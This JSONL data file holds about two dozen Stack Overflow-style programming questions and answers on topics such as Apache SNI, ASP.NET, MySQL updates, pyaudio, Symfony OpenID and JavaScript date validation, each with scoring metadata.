{"id": "hf_bcbda093ca1e", "question": "<p>How do I let Microsoft know about a problem I've found in one of their core library routines? Do they have a central repository to report these things?</p>\n\n<p>I am not a member of Microsoft Development Network (MSDN).</p>\n\n<p>Or should I even bother?</p>\n", "question_body": "", "answer": "There is no official way to report bugs to Microsoft for an end-user. If you are participating in a beta program for an upcoming release, the beta program includes a bug-reporting channel. Otherwise, if the bug causes problems that you want to get resolved, you can call Microsoft support, and they will help you solving the problem (be it by providing a patch, or a work-around); if the problem turns out to be caused by a bug indeed, they will refund the costs of the support call.\nMicrosoft does have a central repository (perhaps separate ones per product), but this repository is not accessible for the general public.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.906557"}
{"id": "hf_dfc36e526635", "question": "<p>Using ASP.net 2.0, how do I present the information to the user similar to the Questions list on SO where each question has some child items (like the tags).</p>\n\n<p>I would probably be making two separate queries, one to first find the list of questions, then another query to find all tags which belonged to the list of questions.</p>\n\n<p><em>Approach 1:</em></p>\n\n<p>Then I would probably be using nested repeaters and doing a select statement in the code-behind on each nested repeater \"OnItemDataBind\"...</p>\n\n<p><em>Approach 2:</em></p>\n\n<p>Or with the two datasets, I would use C# code to create a business entity of each of the \"Questions\" and have a property called \"Tags\". I would then loop through my tags dataset and assign the property.</p>\n\n<p>What's more efficient? Are there any other alternatives?</p>\n", "question_body": "", "answer": "If you do two separate queries, you can still make them in one call to the database, and get back two resultsets.\nInstead of DataSets, you could use the more efficient DataReader (with two resultsets). Loop through the resultsets and populate Question objects with associated Tag objects or properties. Put those objects in an ArrayList or a generic List, and you can bind it to your Repeater.\nInstead of doing anything in code-behind, you should consider moving that code to at least a data access layer (class) if you don't need a business logic layer (another class).\nAll of these suggestions only apply if your app is non-trivial. Using OO methods does add to the code, but if you are doing anything beyond displaying the information, it would be better to start off with a good OO architecture (DAL and BLL, if not MVC).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.930043"}
{"id": "hf_d3ddfc6de851", "question": "<p>I have a web-server, that serves different domain-names, but has only one IP-address assigned. That works fine with virtual hosts in Apache. Now I want SSL-encrypted connections for the websites. How can I set different SSL-certificates for the different vhosts?</p>\n\n<p>Using different IP's for the different hostnames would be an solution - not very elegant but possible. But I want to know, how I can use different SSL-certificates for different vhosts. So I look for a solution with only one IP-address.</p>\n", "question_body": "", "answer": "UPDATE: 2013\nIt appears that SNI is finally beginning take hold as older browsers are falling away.  Here are the\ndocs for Apache SNI\nand here is a\nwikipedia article on SNI\nthat includes a chart on browsers that support it.  In short, all the major browsers support it in supported versions; if supporting older browsers is important, you may have to take that into consideration.\n------ previous answer ------------\nSSL Hosts must be tied to a unique IP address/port combination, thus you cannot use virtual hosting (Or at least, it can only have one ssl host per IP address).  This is due to the fact that https begins encryption before the Host: parameter is sent in http, and thus it cannot determine which cipher to use from the hostname - all it has is the IP address.\nThis would be silly easy to fix if HTTP had a TLS command so it could start SSL after asking for the hostname, but no one asked me.\nFor the definitive answer, see\nhttp://httpd.apache.org/docs/2.0/ssl/ssl_faq.html#vhosts2", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:45.966091"}
{"id": "hf_34ae3b97d782", "question": "<p>What are your favorite C++ coding style idioms? I'm asking about style or coding typography such as where you put curly braces, are there spaces after keywords, the size of indents, etc.  This is opposed to best-practices or requirements such as always deleting arrays with <code>delete[]</code>.   </p>\n\n<p>Here is an example of one of my favorites:   In C++ Class initializers, we put the separators at the front of the line, rather than the back.  This makes it easier to keep this up to date.  It also means that source code control diffs between versions are cleaner.</p>\n\n<pre><code>TextFileProcessor::\nTextFileProcessor( class ConstStringFinder&amp; theConstStringFinder ) \n\n    : TextFileProcessor_Base( theConstStringFinder )\n\n    , m_ThreadHandle  ( NULL )\n    , m_startNLSearch (    0 )\n    , m_endNLSearch   (    0 )\n    , m_LineEndGetIdx (    0 )\n    , m_LineEndPutIdx (    0 )\n    , m_LineEnds      ( new const void*[ sc_LineEndSize ] )\n{\n    ;\n}\n</code></pre>\n", "question_body": "", "answer": "Write each method or function argument on a separate line such that it can be easily commented.\n```\n```\nint ReturnMaxValue(\n    int* inputList,   /* the list of integer values from which to get the maximum */\n    long size,        /* count of the number of integer values in inputList */\n    char* extraArgs   /* additional arguments that a caller can provide.    */\n)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.014868"}
{"id": "hf_48687d0ed6fc", "question": "<p>Does anyone know which property sets the text color for disabled control? \nI have to display some text in a disabled <code>TextBox</code> and I want to set its color to black.</p>\n", "question_body": "", "answer": "NOTE:\nsee Cheetah's answer below as it identifies a prerequisite to get this solution to work.  Setting the\n```\nBackColor\n```\nof the\n```\nTextBox\n```\n.\nI think what you really want to do is enable the\n```\nTextBox\n```\nand set the\n```\nReadOnly\n```\nproperty to\n```\ntrue\n```\n.\nIt's a bit tricky to change the color of the text in a disabled\n```\nTextBox\n```\n.  I think you'd probably have to subclass and override the\n```\nOnPaint\n```\nevent.\n```\nReadOnly\n```\nthough should give you the same result as\n```\n!Enabled\n```\nand allow you to maintain control of the color and formatting of the\n```\nTextBox\n```\n.  I think it will also still support selecting and copying text from the\n```\nTextBox\n```\nwhich is not possible with a disabled\n```\nTextBox\n```\n.\nAnother simple alternative is to use a\n```\nLabel\n```\ninstead of a\n```\nTextBox\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.054536"}
{"id": "hf_a7596424129e", "question": "<p>Is there any example code of a <a href=\"http://www.python.org/\" rel=\"noreferrer\">cpython</a> (not IronPython) client which can call Windows Communication Foundation (WCF) service?</p>\n", "question_body": "", "answer": "Even if there is not a specific example of calling WCF from Python, you should be able to make a fully SOAP compliant service with WCF. Then all you have to do is find some examples of how to call a normal SOAP service from Python.\nThe simplest thing will be to use the BasicHttpBinding in WCF and then you can support your own sessions by passing a session token with each request and response.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.106425"}
{"id": "hf_5b9e4d9696ee", "question": "<p>C++0x will allow template to take an arbitrary number of arguments. What is the best use of this feature other than implementing tuples ?</p>\n", "question_body": "", "answer": "Type-safe\n```\nprintf\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.130685"}
{"id": "hf_0861639b98a3", "question": "<p>I am a Web developer who spends 99% of his time in Linux, but I need to develop a super simple application with VB or possibly C# (.Net).  The only version of Visual Studio I have is the most current free ones.  There MIGHT be a copy of 2001 lying around somewhere.  Anyways, the machine I need to develop this for is running Windows NT4.  I cannot change this because another piece of software runs on that requires it. </p>\n\n<p>Is there a way to develop an app with the new VS and keep it compatible with such an old version of the .Net framework (1.1)?  </p>\n\n<p>If nothing else I could install Perl on the machine and write a command line type script, but given the people that will be using it GUI would be better.</p>\n", "question_body": "", "answer": "I don't believe you can target .Net 1.1 in Visual Studio 2008. Here's one of the developer's explanations, from a comment in\nthis blog entry\n:\nVisual Studio 2008 will not support targeting .Net Framework 1.1.  This is something we really wanted to be able to support - since we know there are a lot of .NET developers working on .NET 1.1 applications.  However, it would have been significantly more difficult to go back and support .NET 1.1 which was a substantially different runtime.\nThus, to fit in this release, the\n  decision ended up being either to not\n  support multitargeting at all - or to\n  support only targeting .NET2.0 and\n  greater.  Because we really wanted\n  Visual Studio 2008 to be a great tool\n  for at least both .NET 3.0 and .NET\n  3.5 - we decided to put in the most multitargeting support we could fit in\n  this release.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.178609"}
{"id": "hf_04c1857446fd", "question": "<p>I have a table in a database that represents dates textually (i.e. \"2008-11-09\") and I would like to replace them with the UNIX timestamp. However, I don't think that MySQL is capable of doing the conversion on its own, so I'd like to write a little script to do the conversion. The way I can think to do it involves getting all the records in the table, iterating through them, and updating the database records. However, with no primary key, I can't easily get the exact record I need to update.</p>\n\n<p>Is there a way to get MySQL to assign temporary IDs to records during a SELECT so that I refer back to them when doing UPDATEs?</p>\n", "question_body": "", "answer": "If for some reason you do have to iterate (the other answers cover the situation where you don't), I can think of two ways to do it (these aren't MySQL-specific):\nAdd a column to the table that's an auto-assigned number. Use that as the PK for your updates, then drop the column afterwards (or just keep it around for future use).\nIn a table with no defined PK, as long as there are no exact duplicate rows, you can use the entire row as a composite PK; just use every column in the row as your distinguishing characteristic. i.e., if the table has 3 columns, \"name\", \"address\", and \"updated\", do the following:\nUPDATE mytable SET updated = [timestamp value] WHERE name = [name] AND address = [address] AND timestamp = [old timestamp]\nMany data access frameworks use this exact strategy to implement optimistic concurrency.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.231902"}
{"id": "hf_68f36904c4c0", "question": "<p>I have this form:</p>\n\n<pre><code>&lt;form name=\"customize\"&gt;\n    Only show results within \n        &lt;select name=\"distance\" id=\"slct_distance\"&gt;\n            &lt;option&gt;25&lt;/option&gt;\n            &lt;option&gt;50&lt;/option&gt;\n            &lt;option&gt;100&lt;/option&gt;\n            &lt;option value=\"10000\" selected=\"selected\"&gt;Any&lt;/option&gt;\n    &lt;/select&gt; miles of zip code\n    &lt;input type=\"text\" class=\"text\" name=\"zip_code\" id=\"txt_zip_code\" /&gt;\n    &lt;span id=\"customize_validation_msg\"&gt;&lt;/span&gt;\n&lt;/form&gt;\n</code></pre>\n\n<p>How can I select the <code>input</code> and <code>select</code> with one jQuery selector?</p>\n\n<p>I tried this but it selected all of the selects and inputs on the page:</p>\n\n<pre><code>$(\"form[name='customize'] select,input\")\n</code></pre>\n", "question_body": "", "answer": "For me your suggestion worked. You could also use\n```\n```\nform[name='customize'] select, form[name='customize'] input\n```\n```\nBoth selectors work as I see it. Maybe the the problem lies somewhere else?\nI tried\n```\n```\n$(\"form[name='customize'] select, input\").css( 'font-size', '80px' );\n```\n```\non your example HTML. The font size for select and input changed.\n--- edit ---\nMy suggestion above is the right one. It selects just the elements in the customize-form.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.255979"}
{"id": "hf_0040b007d6f9", "question": "<p>I tried playing a .wav file using pyaudio. It works great on windows, but doesn't work in Ubuntu when another device is using sound.</p>\n\n<blockquote>\n  <p>The error is \"IOError: [Errorno\n  Invalid output device (no default\n  output device)] -9996</p>\n</blockquote>\n\n<p>Is there another library I could try to use? Another method?</p>\n", "question_body": "", "answer": "Have you looked at pymedia? It looks as easy as this to play a WAV file:\n```\n```\nimport time, wave, pymedia.audio.sound as sound\nf= wave.open('YOUR FILE NAME', 'rb')\nsampleRate= f.getframerate()\nchannels= f.getnchannels()\nformat= sound.AFMT_S16_LE\nsnd= sound.Output(sampleRate, channels, format)\ns= f.readframes(300000)\nsnd.play(s)\nwhile snd.isPlaying(): time.sleep(0.05)\n```\n```\nRef:\nhttp://pymedia.org/tut/play_wav.html\nOf course, you can have a look at the Python wiki under Audio (\nhttp://wiki.python.org/moin/Audio/\n) for other libraries such as\nhttps://docs.python.org/library/wave.html\nor again in Python's wiki under Game Libraries (\nhttp://wiki.python.org/moin/PythonGameLibraries\n) that will point you to bindings to OpenAL or Pygame that has sound modules.\nAnd finally, although I don't know the limitations of pyaudio, your error message sounds more like the library is not able to find the default output device more than the device is in use by another process. Maybe have a look at what output device is returned by the\n```\nget_default_output_device_info\n```\nof pyaudio and compare it to whatever's your default setting in Ubuntu.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.304714"}
{"id": "hf_2e4cbf8829a3", "question": "<p>Is it possible for me to see the amount of processor usage (% of maximum) that the current, python, app is using?</p>\n\n<p>Scenario: \nMy host will allow me to run my app as long as it does not consume more then X% of the CPU power, so I would like it to 'keep an eye on itself' and slowdown.  So how can I know how much CPU the app is using?</p>\n\n<p>Target platform is *nix, however I would like to do it on a Win host also.</p>\n", "question_body": "", "answer": "The\n```\nresource\n```\nmodule provides\n```\ngetrusage\n```\nwhich can give you the information you need, at least for Unix-like platforms.\nNote that CPU usage as a percentage is always measured over a time interval. Essentially, it is the amount of time taken by your program doing something divided by the interval time.\nFor example, if your application takes 2 seconds of CPU time over a 5 second period, then it can be said to be using 40% of the CPU.\nNote that this calculation, as simple as it seems, can get tricky when using a multiprocessor system. If your application uses 7 seconds of CPU time in 5 seconds of wall clock time on a two-processor system, do you say it is uses 140% or 70% CPU?\nUpdate: As\ngimel\nmentions, the\n```\nos.times\n```\nfunction also provides this information in a platform-independent way. The above calculation notes still apply, of course.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.340475"}
{"id": "hf_d03ddaf0f1a1", "question": "<p>When a webpage has moved to a new location, how do I show the moved web page AND return a 301 permanent redirect HTTP response status code in <a href=\"http://djangoproject.com/\" rel=\"nofollow noreferrer\">Django</a>?</p>\n", "question_body": "", "answer": "You can't.\n301 is an HTTP return code that is directly acted upon by the browser. Many sites handle these two issues by first sending the user to a redirect-er page that tells the user about the change and then X seconds later sends them to the new page. But the redirect-er page\nmust\nhave a 200 code.\nOne small variant is to detect search engine spiders (by IP and/or user agent) and give\nthem\nthe 301. That way the search results point to your new page.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.364202"}
{"id": "hf_eafad4076963", "question": "<p>I am using sfOpenID plugin for Symfony, which doesn't support OpenID 2.0. That means, for example, that people using Yahoo! OpenID can't login to my site.</p>\n\n<p>There is an OpenID 2.0 plugin that works with sfGuard, but I am not using nor planning to use sfGuard. Plus, it requires to install Zend framework, too, which is an overkill in my scenario.</p>\n\n<p>So I've got two questions, really:</p>\n\n<ul>\n<li>is there another OpenID plugin for Symfony supporting OpenID 2.0?</li>\n<li>what would be the hack required to make sfOpenID support OpenID 2.0?</li>\n</ul>\n\n<p>I suppose I could study OpenID specs and hack it myself, but then, I am a lazy programmer :)</p>\n", "question_body": "", "answer": "I think you've covered all your options with sfOpenID and taOpenIDsfGuardPlugin for Symfony's plugins.\nWithout studying OpenID's specs in detail though, you could try one of those PHP libraries (\nhttp://wiki.openid.net/Libraries\n) by dropping it in your lib and connecting to a\n```\nsfUser\n```\n, or whatever you're using for authentication. There is also the OpenID Enabled library (\nhttp://openidenabled.com/php-openid/\n) which still uses PHP4 although compatible with PHP5 if you\ntweak the error reporting level\nto exclude some warnings.\nThere are a few tutorials out there that explains how to enable OpenID on your site with PHP:\nhttp://www.saeven.net/openid.htm\nor\nhttp://www.plaxo.com/api/openid_recipe\n.\nAnd better yet, use this knowledge to\nmake a sfPlugin out of it\nafterwards.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.400558"}
{"id": "hf_5bc1e7d2ac64", "question": "<p>Is there a way to create a Zip archive that contains multiple files, when the files are currently in memory?  The files I want to save are really just text only and are stored in a string class in my application.  But I would like to save multiple files in a single self-contained archive.  They can all be in the root of the archive.</p>\n\n<p>It would be nice to be able to do this using SharpZipLib.</p>\n", "question_body": "", "answer": "Yes, you can use SharpZipLib to do this - when you need to supply a stream to write to, use a\n```\nMemoryStream\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.425087"}
{"id": "hf_3874f889f62d", "question": "<p>I need to </p>\n\n<ol>\n<li>convert my Sandcastle Help File\nBuilder (SHFB) output that is a Web\nsite (HTML) to Media wiki format     </li>\n<li>Find a way to transfer/include the\nconverted pages directly into the\nMediaWiki we have set up.</li>\n</ol>\n\n<p>Any ideas? we have over 1000 pages of HTML files inthe Website (output of SHFB).</p>\n\n<p>I thought of using a html2wiki converter ..I could think of looking around for a script to convert those 1000 pages into wiki format... that could take care of (1).</p>\n\n<p>But I would still be left with the block in the last bit of the pipeline - how to feed converted pages directly into the Wiki?</p>\n", "question_body": "", "answer": "I did some work with ingesting existing material from several sites into a comprehensive Wiki. It did not involve Sandcastle, but if you're dealing with HTML it shouldn't matter much.\nhtml2wiki\nextensions are out there, and from what I have read they can solve a lot of problems. I needed a little more control over each node in the DOM, so i used\nSimple HTML DOM Parser\n. It's in PHP and was easily dropped into Mediawiki's includes.\nFor creating the new pages, I ended up writing a small script that uses Mediawiki's Article class, specifically the\ndoEdit function\n. this allows you to create new articles programatically, without user interaction. Of course, you'd want to be careful with this... The last thing you need is to create 1000 pages that are no good and have to be deleted. But perhaps this will help get you going.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.461022"}
{"id": "hf_adad10f54432", "question": "<p>I could really do with updating a user's session variables from within my HTTPModule, but from what I can see, it isn't possible.</p>\n\n<p><em>UPDATE:</em> My code is currently running inside the <code>OnBeginRequest ()</code> event handler.</p>\n\n<p><em>UPDATE:</em> Following advice received so far, I tried adding this to the <code>Init ()</code> routine in my HTTPModule:</p>\n\n<p><code>AddHandler context.PreRequestHandlerExecute, AddressOf OnPreRequestHandlerExecute</code></p>\n\n<p>But in my <code>OnPreRequestHandlerExecute</code> routine, the session state is still unavailable!</p>\n\n<p>Thanks, and apologies if I'm missing something!</p>\n", "question_body": "", "answer": "HttpContext.Current.Session\nshould Just Work, assuming your HTTP Module isn't handling any\npipeline events\nthat occur prior to the session state being initialized...\nEDIT, after clarification in comments: when handling the\nBeginRequest event\n, the Session object will indeed still be null/Nothing, as it hasn't been initialized by the ASP.NET runtime yet. To work around this, move your handling code to an event that occurs after\nPostAcquireRequestState\n-- I like\nPreRequestHandlerExecute\nfor that myself, as all low-level work is pretty much done at this stage, but you still pre-empt any normal processing.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.522704"}
{"id": "hf_182a38e3a5a1", "question": "<p>Say I have a C program which is broken to a set of *.c and *.h files. If code from one file uses functions from another file, where should I include the header file? Inside the *.c file that used the function, or inside the header of that file?</p>\n\n<p>E.g. file <code>foo.c</code> includes <code>foo.h</code>, which contains all declarations for <code>foo.c</code>; same for <code>bar.c</code> and <code>bar.h</code>. Function <code>foo1()</code> inside <code>foo.c</code> calls <code>bar1()</code>, which is declared in <code>bar.h</code> and defined in <code>bar.c</code>. Now the question is, should I include <code>bar.h</code> inside <code>foo.h</code>, or inside <code>foo.c</code>?</p>\n\n<p>What would be a good set of rules-of-thumb for such issues?</p>\n", "question_body": "", "answer": "I include the most minimal set of headers possible in the\n```\n.h\n```\nfile, and include the rest in the\n```\n.c\n```\nfile. This has the benefit of sometimes reducing compilation times. Given your example, if\n```\nfoo.h\n```\ndoesn't really need\n```\nbar.h\n```\nbut includes it anyway, and some other file includes\n```\nfoo.h\n```\n, then that file will be recompiled if\n```\nbar.h\n```\nchanges, even though it may not actually need or use\n```\nbar.h\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.607897"}
{"id": "hf_2dfe28acf834", "question": "<p>How can I place a MFC CFormView inside a CDockablePane which was introduced in the VS 2008 MFC Feature Pack?</p>\n", "question_body": "", "answer": "Check the\nBCGSoft\nSamples for doing this with a cview.  The class names are a little different but its more or less the same stuff since they provided CDockablePane to Microsoft.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.644218"}
{"id": "hf_495345d23ac8", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/13537/bootstrapping-a-language\">Bootstrapping a language</a>  </p>\n</blockquote>\n\n\n\n<p>What's the importance of having an interpreter for a given language written in the target language (for example, <a href=\"http://en.wikipedia.org/wiki/PyPy\" rel=\"nofollow noreferrer\">PyPy</a>)?</p>\n", "question_body": "", "answer": "I'm sure there are many different reasons for doing it. In some cases, it's because you truly believe the language is the best tool... so writing the language interpreter or compiler in the language itself can be seen as a form of dogfooding. If you are really interested in this subject, the following article is a really amazing read about the development of squeak. The current version of squeak is a smalltalk runtime written in smalltalk.\nhttp://users.ipa.net/~dwighth/squeak/oopsla_squeak.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.668217"}
{"id": "hf_db6988b0d1e8", "question": "<p>With LINQ to SQL most likely going to not get as much active development as Entity Framework do you think it's best to switch to Entity Framework?</p>\n\n<p>I've personally found EF to be very clunky and hard to use compared to LINQ to SQL which feels very natural.</p>\n\n<p>EDIT: I recently posted an article on my blog about my feelings towards this potential decision...</p>\n\n<p><a href=\"http://weblogs.asp.net/chadmoran/archive/2008/11/09/ado-net-v-linq-to-sql.aspx\" rel=\"noreferrer\">ADO.NET v LINQ to SQL</a></p>\n", "question_body": "", "answer": "IMO, not at the moment.\nIt is clear (from\nrecent announcements\nespecially) that EF is in for some heavy revisions as the \"\nthunderdome\n\" scenario plays out between LINQ-to-SQL and EF. Whatever happens, EF (in a few years) will almost certainly look quite different to EF today. Or certainly \"different enough\" ;-p\nAs such, my view is: stick with simple. And simple is LINQ-to-SQL.\nI don't see much benefit learning a notoriously complex system if I know it is going to change very soon.\nAnd I'm 100% with you on LINQ-to-SQL ;-p\nIf I needed something more than LINQ-to-SQL right now, I'd look at\nNHibernate\nor maybe\nLLBLGen Pro\n.\n(\nedit\n- as an update, my position has softened a little bit,\nhere\nand\nhere\n- but I'm still using LINQ-to-SQL as my primary tool; also - LINQ-to-SQL\nisn't quite dead yet\n;-p).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.696137"}
{"id": "hf_cbf0372afaa6", "question": "<p>When I was at university a lecturer said how some people managed to code using sequence diagrams, this to me seems a good way of programming but of course the devil is in the details.  I have a few questions.</p>\n\n<ul>\n<li>Does this actually happen or was I\nmisinterpreting what he said?</li>\n<li>Has\nanyone here actually done this? </li>\n<li>Is it more productive? </li>\n<li>What are the disadvantages? </li>\n<li>What tools would be needed when using Java?</li>\n</ul>\n", "question_body": "", "answer": "I've found that \"normal\" sequence diagrams are almost always more of a pain than they're worth (although I have found them useful for showing data flow in LINQ). Doing a \"rough and ready\" diagram and explaining it (preferably in person, but with plenty of words either way) works better in my experience.\nI think it's a good idea to have a diagram (or several) showing a sort of \"vertical slice\" of your application - how each layer talks to another, and perhaps showing the course of a request/response in suitable cases. However, this doesn't need to be at the \"individual method call and always 100% accurate\" level - making sure that you convey the right general impression is more important, assuming the reader can then dive into the real code.\nHaving said all of this, my views on UML in general are much the same, so if you're a big fan of precise diagrams always being kept meticulously in sync with reality etc, take it all with a pinch of salt :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.759038"}
{"id": "hf_ae1dc038e5ff", "question": "<p>I'm trying to write rules for detecting some errors in <em>annotated</em> multi-threaded java programs.  As a toy example, I'd like to detect if any method annotated with @ThreadSafe calls a method without such an annotation, without synchronization.  I'm looking for a tool that would allow me to write such a test. </p>\n\n<p>I've looked at source analyzers, like CheckStyle and PMD, and they don't really have cross-class analysis capabilities.  Bytecode analysers, like FindBugs and JLint seem rather difficult to extend.</p>\n\n<p>I'd settle for a solution to something even simpler, but posing the same difficulty: writing a <em>custom</em> rule that checks whether each overriden method is annotated with @Override.  </p>\n", "question_body": "", "answer": "A simple tool to checkup on annotations is apt (\nhttp://java.sun.com/j2se/1.5.0/docs/guide/apt/\nalso part of Java 6 api in javax.annotation.processing) however this only has type information (ie I couldn't find a quick way to get at the inheritance hierarchy using the javax.lang.model api, however if you can load the class you can get that information using reflection).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.794251"}
{"id": "hf_5eb533244288", "question": "<p>I saw a potential answer here but that was for YYYY-MM-DD: <a href=\"http://paulschreiber.com/blog/2007/03/02/javascript-date-validation/\" rel=\"noreferrer\">JavaScript date validation</a></p>\n\n<p>I modified the code code above for MM-DD-YYYY like so but I still can't get it to work:</p>\n\n<pre><code>String.prototype.isValidDate = function() \n{\n     var IsoDateRe = new RegExp(\"^([0-9]{2})-([0-9]{2})-([0-9]{4})$\");\n     var matches = IsoDateRe.exec(this);\n     if (!matches) return false;\n     var composedDate = new Date(matches[3], (matches[1] - 1), matches[2]);\n     return ((composedDate.getMonth() == (matches[1] - 1)) &amp;&amp;\n      (composedDate.getDate() == matches[2]) &amp;&amp;\n      (composedDate.getFullYear() == matches[3]));\n}\n</code></pre>\n\n<p>How can I get the above code to work for MM-DD-YYYY and better yet MM/DD/YYYY?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "You can simplify it somewhat by changing the first two lines of the function to this:\n```\n```\nvar matches = this.match(/^([0-9]{2})\\/([0-9]{2})\\/([0-9]{4})$/);\n```\n```\nOr, just change the parameter to the RegExp constructor to be\n```\n```\n^([0-9]{2})\\/([0-9]{2})\\/([0-9]{4})$\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:46.818696"}
